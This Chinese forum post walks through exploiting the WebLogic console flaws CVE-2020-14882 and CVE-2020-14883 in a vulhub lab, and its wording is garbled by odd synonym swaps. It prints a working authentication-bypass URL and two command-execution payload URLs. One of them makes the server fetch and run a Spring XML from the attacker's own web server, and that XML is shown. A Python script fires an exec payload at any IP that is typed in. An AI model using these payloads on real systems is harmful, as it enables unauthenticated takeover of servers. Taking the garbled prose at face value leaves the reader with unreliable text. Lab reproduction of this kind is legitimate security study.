Weblogic 管理控制台未授权长途命令执行毛病(CVE-2020-14882,CVE-2020-14 ...

打印 上一主题 下一主题

主题 582|帖子 582|积分 1746

1 毛病概述

Weblogic Pre-Auth Remote Command Execution 毛病(CVE-2020-14882, CVE-2020-14883)是针对 Oracle WebLogic Server 的两个安全毛病。CVE-2020-14882 允许长途用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 则允许颠末身份验证的用户在管理员控制台组件上执行任意命令。这两个毛病联合使用,可以使长途攻击者在未经身份验证的情况下接管 WebLogic Server Console 并执行任意代码,对体系造成极大的安全风险。
2 毛病原理


  • CVE-2020-14882(未授权长途命令执行毛病):长途攻击者可以构造特殊的 HTTP 请求,使用 WebLogic Server Console 的路径遍历毛病,访问并修改管理员控制台的某些资源。通过这种方式,攻击者可以绕过身份验证,直接访问并操作管理员控制台的功能。
  • CVE-2020-14883(身份验证后长途命令执行毛病):一旦攻击者通过 CVE-2020-14882 毛病得到了对管理员控制台的访问权限,他们就可以使用 CVE-2020-14883 毛病执行任意命令。这是因为管理员控制台组件中存在一个命令执行功能,允许用户通过 HTTP 请求提交并执行命令。由于该毛病允许颠末身份验证的用户执行任意命令,因此攻击者可以在服务器上执行任何他们想要的代码。
3 影响版本

该毛病影响了多个版本的 Oracle WebLogic Server,包括但不限于 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0 和 12.2.1.4.0 等。
4 vulhub靶场启动

  1. 进入漏洞文件
  2. cd vulhub/weblogic/CVE-2020-14882/
  3. 启动漏洞环境
  4. docker compose up -d
  5. 查看漏洞端口
  6. docker compose ps
复制代码

访问 ,您将看到页面,表示情况正在乐成运行。

5 毛病复现

5.1 CVE-2020-14883:权限让毛病

攻击者可以构造特殊请求的URL,即可未授权访问到管理配景页面:
  1. http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal
复制代码

问配景后是一个低权限的用户,无法安装应用,也无法直接执行任意代码。
5.2 weblogic长途命令执行(CVE-2020-14883)

联合 CVE-2020-14882 毛病,长途攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。
这个毛病一共有两种使用方法:
  1. 第一种方法是通过com.tangosol.coherence.mvel2.sh.ShellSession
  2. 第二种方法是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
复制代码
5.2.1 第一种方法(weblogic 12.2.x 适用)

这个使用方法只能在Weblogic 12.2.1以上版本使用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
5.2.1.1 GET请求方式(无回显)

直接访问如下URL,即可使用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:
  1. http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
复制代码
执行docker-compose exec weblogic bash进入容器中,可见/tmp/success1已乐成创建。

5.2.2 第二种方法(weblogic 版本通用)

  1. com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
复制代码
5.2.2.1 无回显验证

起首,我们需要构造一个XML文件,并将其生存在Weblogic可以访问到的服务器上,在kali上启动web服务器
  1. python3 -m http.server
复制代码

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <beans xmlns="http://www.springframework.org/schema/beans"
  3.   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4.   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  5.    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  6.        <constructor-arg>
  7.          <list>
  8.            <value>bash</value>
  9.            <value>-c</value>
  10.            <value><![CDATA[touch /tmp/success2]]></value>
  11.          </list>
  12.        </constructor-arg>
  13.    </bean>
  14. </beans>
复制代码
然后通过如下URL,即可让Weblogic加载这个XML,并执行此中的命令:
  1. http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.135.130:8000/rce.xml")
复制代码
执行docker-compose exec weblogic bash进入容器中,可见/tmp/success2已乐成创建。

6 编写python脚本探测毛病

  1. import requests
  2. def cve_2020_14882(ip_address):
  3.    url = f"{ip_address}/console/images/%252E%252E%252Fconsole.portal"
  4.    headers = {
  5.        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
  6.        "Content-Type": "application/xml",
  7.    }
  8.    params = {
  9.        "_nfpb": "true",
  10.        "_pageLabel": "HomePage1",
  11.        "handle": "com.tangosol.coherence.mvel2.sh.ShellSession(java.lang.String.join('', java.util.stream.Stream.of('i', 'd').map(it -> java.lang.Runtime.getRuntime().exec(it)).toArray()))",
  12.    }
  13.    response = requests.get(url, params=params, headers=headers, timeout=10)
  14.    if response.status_code == 200:
  15.        print("命令执行成功!")
  16.        #print(response.text)
  17.    else:
  18.        print("命令执行失败。")
  19. if __name__ == "__main__":
  20.     print("注意:本代码仅用于实验和学习目的,请谨慎使用。")
  21.    ip_address = input("请输入目标IP地址:")
  22.    cve_2020_14882(ip_address)
复制代码
结果



7 毛病修复

为了修复这些毛病,Oracle 发布了多个安全补丁。建议用户尽快将 WebLogic Server 升级到最新版本,并应用所有可用的安全补丁。别的,用户还可以采取以下步伐来低落风险:

  • 限制对管理员控制台的访问权限,只允许受信托的用户举行访问。
  • 使用强暗码计谋,并定期更改暗码。
  • 启用 WebLogic Server 的安全功能,如访问控制和审计日志记载等。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

北冰洋以北

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表